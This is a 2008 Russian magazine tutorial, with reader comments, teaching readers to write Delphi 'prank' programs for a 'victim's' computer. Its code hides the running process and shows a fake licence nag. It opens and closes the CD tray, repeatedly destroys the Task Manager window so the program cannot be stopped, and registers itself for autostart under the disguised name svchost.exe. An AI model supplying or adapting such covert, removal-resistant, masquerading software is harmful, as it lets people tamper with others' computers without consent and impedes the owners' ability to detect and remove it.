Прикалываемся с помощью Delphi

Здравствуй, читатель. В этой статье мы поговорим о компьютерных приколах, а точнее, мы сами напишем несколько программ-приколов на языке программирования Delphi и немного разберём эту среду разработки. Почему именно эту? Она наиболее простая для создания таких маленьких приложений, как программы-приколы. Кто из нас никогда не хотел приколоться над ближним своим так, чтобы он даже не заподозрил в вас виновника глючности своего компьютера? Благодаря этой статье вы сможете приколоть других и показать, какой вы прикольный программист. Меньше слов - больше дела!


Создаём вечный шаблон...

Для создания всего выше описанного нам потребуются:

  • Borland Delphi
  • компьютер
  • голова

Теперь разберём по пунктам. Delphi можно использовать любой. Мне из всех существующих версий больше нравится Delphi 2006, но его, к сожалению, найти не удаётся и я активно использую Delphi 5, поэтому на картинке вы можете лицезреть пятую версию, но, в общем, они почти не различаются, просто у более старших версий больше компонентов, удобнее дизайн и они более функциональные (например, в Delphi 2006 после того, как вы введёте "Begin" и нажмёте "Enter (ввод)", сразу же появится закрывающая часть "End;", т.е. не надо вводить её вручную). Компьютер нужен для теста созданных вами приколов - все ошибаются, и поэтому нужно сначала проверить программу на работоспособность у себя, чтобы не получилась ситуация, когда прикол сам себя выдал. И последний пункт - голова, куда без неё :)?

До описания самих приколов нужно усовершенствовать их, а точнее, сделать так, чтобы они себя не выдавали, т.е. прятались в системе и выполняли через некоторое время определённый код. Итак, открываем Delphi и разбираемся, что где находится.

Вверху находятся диалоги открытия/закрытия файлов (1) и панель компонентов (вкладки Standard, Additional, Win32 и т.д.) (2). Посередине находится главная форма или, просто, форма (3). На форме мы будем размещать компоненты, нужные для наших приколов. Слева находится инспектор объектов (Object Inspector) (4).

На инспекторе объектов вверху находятся две вкладки - Properties и Events (5). Кликнем по Events и в открывшемся списке находим OnActivate (6), кликнем дважды в поле ввода рядом и запишем код:

ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);

Этот код спрячет программу, а точнее, сделает процесс. В этом коде вызывается функция "ShowWindow", в которой второй параметр равен SW_HIDE, т.е. требует спрятать окно.

Следующий шаг - таймер, благодаря которому наш код будет действовать через определённое время. Для этого есть компонент, который так и называется - таймер, он находится на вкладке "System" (7). Чтобы использовать таймер, надо проделать следующие шаги: на форму помещаем из палитры компонентов - вкладка "System", компонент, похожий на часики (нажимаем один раз на "System", потом опять нажимаем один раз на изображение часов и также один раз в любом месте формы). Компонент "Timer" позволяет через определённое время передавать управление вашему коду. Выделим его кликом и посмотрим на инспектор объектов (слева от формы).

Посмотрите на значение Interval=1000 (8). Это значит, что код, записанный в свойстве "OnTimer", будет вызываться каждые 1000 мсек, т.е. каждую секунду. Если вы хотите изменить время, через которое будет срабатывать ваш прикол, просто измените свойство "Interval". После всего проделанного весь код будет таким:

unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics,
 Controls, Forms, Dialogs;
Type
 TForm1 = class(TForm)
 Timer1: TTimer;
 procedure FormActivate(Sender: TObject);
 procedure Timer1Timer(Sender: TObject);
 private
 { Private declarations }
 public
 { Public declarations }
 end;
var
 Form1: TForm1;
Implementation
{$R *.DFM}
procedure TForm1.FormActivate(Sender: TObject);
begin
 ShowWindow(Handle, SW_HIDE);
 ShowWindow(Application.Handle, SW_HIDE);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
 // вот здесь будет находиться наш код
end;
end.

(Чтобы сверить, минимизируйте форму.) Думаю, пояснять нечего. Теперь самое время создать что-нибудь плохое :). И не забудьте сохранить проделанную работу как шаблон.


Вот такая антипиратия

Следующий пример - моя любимая шутка. Смысл его в том, что на компьютере жертвы стоит нелицензионная Windows. Но поскольку Билл Гейтс ушёл в отставку, то можно всем напомнить, что он всё ещё жив, естественно, программным путём. Следующий код надо поместить в наш шаблон (в процедуру таймера между "Begin" и "end" или два раза щёлкнуть по часикам), предварительно указав время, например, 1800000 (т.е. Interval=1800000):

MessageBox(0,' В ходе проверки вашей операционной системы на подлинность, выяснилось, что на вашем компьютере установлена нелицензионная Windows. Купите лицензионную Windows Vista', 'Билл Гейтс', 0);

(Весь код, представленный выше, переписывается в строчку, иначе программа не будет работать.) И каждые 1800000 мсек, т.е. каждые 30 мин, будет появляться окошко, которое представлено на картинке. Скомпилируйте программу (Ctrl+F9) и наслаждайтесь.

(Примечание: видите на панели задач, рядом с "Билл Гейтс", иконку? Эта иконка присваивается по умолчанию ко всем программам, написанным на Delphi. Чтобы изменить, надо, когда выделена форма, найти на "инспекторе объектов" свойство "icon", дважды щёлкнуть рядом на "none" и в открывшемся окне найти в вашем компьютере подходящую иконку. Иконка должна быть размером 32х32. Вы можете сами придумать и нарисовать иконку для своей программы: откройте "imagedit", выберите File > New > Icon file и рисуйте.)


Бешеный сидюшник

Вот вы представьте лицо человека, у которого только что открылся CD-привод без его прямого участия и через некоторое время закрылся и так до бесконечности. Представили? А я даже смог увидеть благодаря следующей программе. Открываем наш шаблон. В Interval приписываем своё число, например, 5000 (5 сек.). Дважды щёлкаем по часикам и в открывшееся окошко заносим код, представленный ниже:

mciSendString('Set cdaudio door open wait', nil, 0, handle);
sleep(3000);
mciSendString('Set cdaudio door closed wait', nil, 0, handle);

Почти готово, но для работы в самом начале кода программы найдите раздел "Uses" и в него поместите следующий код:

MMSystem;

В этом модуле (MMSystem) содержатся необходимые для работы программы функции работы с CD. В данном примере первая строка кода открывает CD, вторая делает задержку в 3 секунды, а третья закрывает CD. И не забудьте (если вы открывали не шаблон) прописать в процедуру OnActivate скрытие программы.


Исчезающий диспетчер задач Копперфильда

Хоть мы и прячем программу от глаз жертвы, но против диспетчера задач она бессильна, т.е. жертва вполне может нажать заветную комбинацию клавиш Ctrl+Alt+Del, выбрать в диспетчере задач вкладку "процессы" и удалить любой процесс, в том числе и нашу беспокойную программу. Так давайте сделаем так, чтобы при каждом открытии диспетчера задач он закрывался. Открываем наш шаблон (где уже скрыта форма). Устанавливаем значение Interval, равное 500 (половина секунды), в процедуру таймера заносим код:

procedure TForm1.Timer1Timer(Sender: TObject);
var a:HWND;
begin
a:=FindWindow(nil,'Диспетчер задач Windows');
if a<>0 then SendMessage (a, WM_DESTROY,0,0);
end;

Сейчас всё объясню. В данной программе переменной "a" присваивается значение функции "FindWindow". Сама функция "FindWindow" служит для поиска окна с заголовком "Диспетчер задач Windows". Проще говоря, переменной "a" присваивается найденное окно с заголовком "Диспетчер задач Windows". Дальше проверяется: если окно найдено, т.е. не равно нулю (if a<> 0), тогда найденному окну (a) передаётся сообщение уничтожиться (WM_DESTROY) с помощью команды SendMessage (передать сообщение). Кстати, уничтожить можно любое окно, главное - знать его имя. К сожалению, показать работу примера картинкой не могу :).

(Примечание: не спешите создавать программу-компаньон для ваших приколов, т.к. это (исчезновение окна) можно совместить с основной программой, просто создайте на форме ещё один компонент таймера и внесите в него код, представленный выше. Тоже верно, что вашу зло-программу можно защитить от любого закрытия или удаления со стороны подкалываемого, в смысле всегда закрывать, например, "Мой компьютер" или "Total Commander".)


Прописка по адресу

В предыдущих примерах заставить программу выполняться вместе с загрузкой компьютера вы могли, только поместив на неё ярлык в автозагрузку (папку, которая находится в документах или Пуск>Программы>Автозагрузка). Но в автозагрузку можно прописаться и через реестр, чем мы сейчас и займёмся. Открываем шаблон и дописываем так, чтобы получилось, как представлено ниже:

procedure TForm1.FormActivate(Sender: TObject);
{1}var Regini:TReginifile;
begin
ShowWindow(Handle, SW_HIDE); {прячу программу}
ShowWindow(Application.Handle, SW_HIDE); {то же самое}
{2}regini:=treginifile.create('Software');
{3}regini.rootkey:=hkey_local_machine;
{4}regini.openkey('Software',true);
{5}regini.openkey('Microsoft',true);
{6}regini.openkey('Windows',true);
{7}regini.openkey('CurrentVersion',true);
{8}regini.writestring('RunServices','svchost.exe',
Application.exename);
{9}regini.free;
end;

Поясняю всё по пунктам:

  1. Вносим переменную "Regini" типа "TReginifile".
  2. Инициализируем переменную "regini" для работы с реестром.
  3. Открываем раздел реестра "hkey_local_machine" (один из главных разделов).
  4. Открываем подраздел "Software".
  5. Открываем подраздел "Microsoft".
  6. Открываем подраздел "Windows".
  7. Открываем подраздел "CurrentVersion".
  8. Создаём подраздел "RunServices" и прописываем в него программу с именем "svchost.exe".
  9. Освобождаем реестр.

Для полной работы в раздел "Uses" занесите модуль "Registry", в нём содержатся функции, которые мы используем в программе.

Вот теперь, если запустить программу, она пропишется в автозагрузку. Главное, чтобы имя программы было svchost.exe (как у меня), если вы захотите изменить имя или использовать своё, то измените его и в коде (пункт 8). Сейчас можно сохранить проделанную работу как новый шаблон, более лучший. Помните, программа пропишется в автозагрузку из того места, откуда она запустилась. Если вы перенесёте программу в другое место, то запускаться вместе с системой она не будет (пока её опять не активируют). Чтобы удалить программу из автозагрузки, зайдите в реестр по адресу "HKEY_LOCAL_MACHINE/Software/Microsoft/ Windows/CurrentVersion/RunServices" и удалите ключ с именем вашей программы.

(Примечание: помните, если наша жертва загрузит компьютер в безопасном режиме, то автозагрузка не сработает, и если она (жертва) найдёт программу в реестре (что вряд ли ;)) и удалит ключ, то программа, опять же, не будет автозагружаться вместе с компьютером до следующего запуска.)


Скажи своё слово!

Следующая программа изменит привычное всем "Пуск" на любое ваше слово, но состоящее из 4 букв. Поставьте на форму всего одну кнопку и по событию "onClick" впишите код:

procedure TForm1.Button1Click(Sender: TObject);
Var Panel, Knopka:hwnd; {1}
begin
panel:=FindWindow('shell_traywnd', nil); {2}
knopka:=FindWindowEx (panel, 0, 'button', nil); {3}
SetWindowText(knopka,'глюк'); {4}
ShowWindow(knopka, SW_HIDE); {5}
ShowWindow(knopka, SW_show); {6}
end;

Всё по порядку:

  1. Объявляю 2 переменные, которые будут использоваться для хранения самой кнопки и панели задач, на которой она находится.
  2. Значению переменной "Pаnel" присваиваю результат функции "findwindow", которая ищет окно по параметрам. Параметры функции - имя класса окна и само имя окна.
  3. Значению переменной "knopka" присваивается результат поиска "Пуска".
  4. Изменяю надпись на кнопке ("Глюк").
  5. Прячу кнопку.
  6. Показываю кнопку.

Последние 2 действия нужны, чтобы изменения вступили в силу. Что у меня получилось с пуском, увидите на скриншоте.


Весёлый скрин

Многие знают такую шутку: делается скриншот рабочего стола, устанавливается он как обои, удаляются все значки на рабочем столе. Сейчас мы сделаем нечто подобное, но программой. Выше описанные действия делать не будем, а пойдём другим путём. Для начала сделайте скриншот рабочего стола и сохраните его с расширением bmp. Создайте новое приложение. В свойствах формы измените следующие параметры:

  • "Height" и "Width" на значения выше разрешения вашего экрана (обязательно выше разрешения, например, если у вас разрешение 1024х1280, то свойства задайте, как минимум, 1300 и 1300, соответственно);
  • "FormStyle" измените на "fsStayOnTop" (окно всегда будет располагаться поверх других);
  • "Border style" на "bsNone" (чтобы не было никаких обрамлений у окна, это же рабочий стол:);
  • "Left"=0;
  • "Top"=0;
  • "WindowState" на "wsMaximized";
  • "AutoSize" на "True".

Потом поставьте на форму компонент "TImage" с вкладки "Additional" и поставьте свойство "AutoSize" на "True". Далее находите свойство "Picture" два раза кликаете рядом и загружаете заготовленное ранее изображение. Ctrl+F9 и программа готова без строчки кода!


Заключение

В этой статье я постарался максимально подробно рассказать, как создавать программы-приколы. Также мы немного рассмотрели интересную среду разработки программ Borland Delphi.

Если вы знаете, как можно пошутить программным путём, или хотите узнать ещё о прикольных программах, пишите!

(Продолжение следует)

Резидент Николай,
rezidentnik@gmail.com

Версия для печатиВерсия для печати

Номер: 

36 за 2008 год

Рубрика: 

Азбука программирования
Заметили ошибку? Выделите ее мышкой и нажмите Ctrl+Enter!

Комментарии

Страницы

Аватар пользователя Al
Пять лет назад был в минском цирке - уточняю. :)
Аватар пользователя mike
>Кто в РТИ учился тот в цирке не смеётся :)

Слава Богу, когда я там учился - Делфи ещё не было. :) Rто в РТИ в то время работал, тот вообще не смеётся. В то время за вольнодумство меня выгнали с преподавательской работы... О чём не жалею!

Аватар пользователя Al
Когда я учился в РТИ, нам преподавали Алгол и Fortran-IV... На перфокартах... :)) И Достанко был просто доцентом, который меня почему-то не любил. :)
Аватар пользователя Aleksei
А почему в статье не указано какой именно из Boland delpfi нужен лично я нашёл 3 (Borland Delphi 10 Lite v 3.0)(Borland InterBase 7.5.1)(Borland StarTeam 2005R2)Я конечно не профессионал но можно было и для нас "ламеров" разъяснить ????
Аватар пользователя Rezident Nik
Думаю у вас, Алексей, 10 версия Delphi а вот версия 3, но по идее ошибок быть не должно: компоненты стандартные.

<<

Но вообще сейчас Delphi уже не может серьезно рассматриваться как средство разработки приложений, к моему сожалению. Это уже мертвый язык из-за ошибок в свое время борландовцев

>>

Delphi- живее всех живых!!! Вот на чём программировать это вопрос для программиста - чем ему удобнее. На Delphi удобно писать офисные приложения и маленькие программы за счёт быстрого оформления. В си много времени уходит на разработку интерфейса, для решения этой проблемы и придумали сиБилдер который похож чем-то (по крайней мере когда-то) на Delphi.

Что бы подсунуть на чужой комп надо иметь доступ к нему (что бы всё красиво подстроить) или ухитряться как вирусописатель(спам, уязвимости и т.д.). Вообще это больше рассчитано на тех, кто с кем то делит один комп.

Аватар пользователя Rezident Nik
Оговорился - номер Delphi 10, а вот версия этого номера - 3
Аватар пользователя Slava
Вопрос на засыпку - кто сколько за свой Делфи платил? Мой 900 евро стоил.
Аватар пользователя Savely
>А почему в статье не указано какой именно из Boland delpfi нужен лично я нашёл 3 (Borland Delphi 10 Lite v 3.0)

Да любой старше 4-го, пожалуй. Borland Delphi 10 Lite v 3.0 - это облегченный Delphi 2006.

Аватар пользователя Rezident Nik
[quote]Вопрос на засыпку - кто сколько за свой Делфи платил? Мой 900 евро стоил.[/quote]

Мой 10000 долларов

беларусских :D

Аватар пользователя mike
А кто-нибудь юзал RAD-среду wxFormBuilder?

Страницы